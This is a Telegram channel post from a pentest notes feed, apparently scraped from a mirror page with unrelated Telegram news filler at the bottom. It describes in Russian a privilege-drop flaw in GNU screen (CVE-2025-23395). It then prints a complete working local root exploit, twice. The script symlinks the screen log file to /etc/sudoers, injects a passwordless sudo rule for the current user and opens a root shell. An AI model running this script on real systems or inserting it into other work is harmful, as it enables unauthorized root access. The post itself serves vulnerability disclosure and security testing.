PENTESTNOTES Telegram 169
Уязвимость в GNU screen, позволяющая выполнить код с правами root (CVE-2025-23395)

Уязвимость вызвана тем, что при запуске с правами root функция logfile_reopen() выполняется до сброса привилегий, но обрабатывает данные в контексте каталогов текущего непривилегированного пользователя, запустившего screen. Примечательно, что начальное открытие лога производится с корректным сбросом привилегий, но при повторном открытии файла с логом сброс привилегий не производится.

Exploit:
#!/bin/sh
# screen CVE-2025-23395 exploit
# blablabla
# blasty <[email protected]>
F=$(mktemp)
L=${HOME}/screen.log
T=/etc/sudoers
rm -rf $F $L
mkfifo $F
O=$(stat --printf="%s" $T)
echo "[+] spawning GNU screen"
screen -L -Logfile $L -dmS hax sh -c "cat $F"
while [ ! -f $L ]; do sleep 0.1; done
echo "[+] logfile appeared, doing hax"
rm $L
ln -s $T $L
P="${USER} ALL=(ALL) NOPASSWD:ALL"
(echo $P; for i in `seq 8192`; do echo; done) > $F
if [ $(stat --printf="%s" $T) -gt $O ] ; then
echo "[+] bl1ng bl1ng, we got it"
sudo sh
else
echo "[-] exploit failed :("
fi
rm -rf $F $L


Источники:
- https://www.opennet.ru/opennews/art.shtml?num=63226
- https://haxx.in/files/limit-your-screentime.sh

💫 @pentestnotes
Please open Telegram to view this post
VIEW IN TELEGRAM



tgoop.com/pentestnotes/169
Create:
Last Update:

Уязвимость в GNU screen, позволяющая выполнить код с правами root (CVE-2025-23395)

Уязвимость вызвана тем, что при запуске с правами root функция logfile_reopen() выполняется до сброса привилегий, но обрабатывает данные в контексте каталогов текущего непривилегированного пользователя, запустившего screen. Примечательно, что начальное открытие лога производится с корректным сбросом привилегий, но при повторном открытии файла с логом сброс привилегий не производится.

Exploit:

#!/bin/sh
# screen CVE-2025-23395 exploit
# blablabla
# blasty <[email protected]>
F=$(mktemp)
L=${HOME}/screen.log
T=/etc/sudoers
rm -rf $F $L
mkfifo $F
O=$(stat --printf="%s" $T)
echo "[+] spawning GNU screen"
screen -L -Logfile $L -dmS hax sh -c "cat $F"
while [ ! -f $L ]; do sleep 0.1; done
echo "[+] logfile appeared, doing hax"
rm $L
ln -s $T $L
P="${USER} ALL=(ALL) NOPASSWD:ALL"
(echo $P; for i in `seq 8192`; do echo; done) > $F
if [ $(stat --printf="%s" $T) -gt $O ] ; then
echo "[+] bl1ng bl1ng, we got it"
sudo sh
else
echo "[-] exploit failed :("
fi
rm -rf $F $L


Источники:
- https://www.opennet.ru/opennews/art.shtml?num=63226
- https://haxx.in/files/limit-your-screentime.sh

💫 @pentestnotes

BY Pentest Notes


Share with your friend now:
tgoop.com/pentestnotes/169

View MORE
Open in Telegram


Telegram News

Date: |

Just as the Bitcoin turmoil continues, crypto traders have taken to Telegram to voice their feelings. Crypto investors can reduce their anxiety about losses by joining the “Bear Market Screaming Therapy Group” on Telegram. But a Telegram statement also said: "Any requests related to political censorship or limiting human rights such as the rights to free speech or assembly are not and will not be considered." Telegram Android app: Open the chats list, click the menu icon and select “New Channel.” The Channel name and bio must be no more than 255 characters long Telegram desktop app: In the upper left corner, click the Menu icon (the one with three lines). Select “New Channel” from the drop-down menu.
from us


Telegram Pentest Notes
FROM American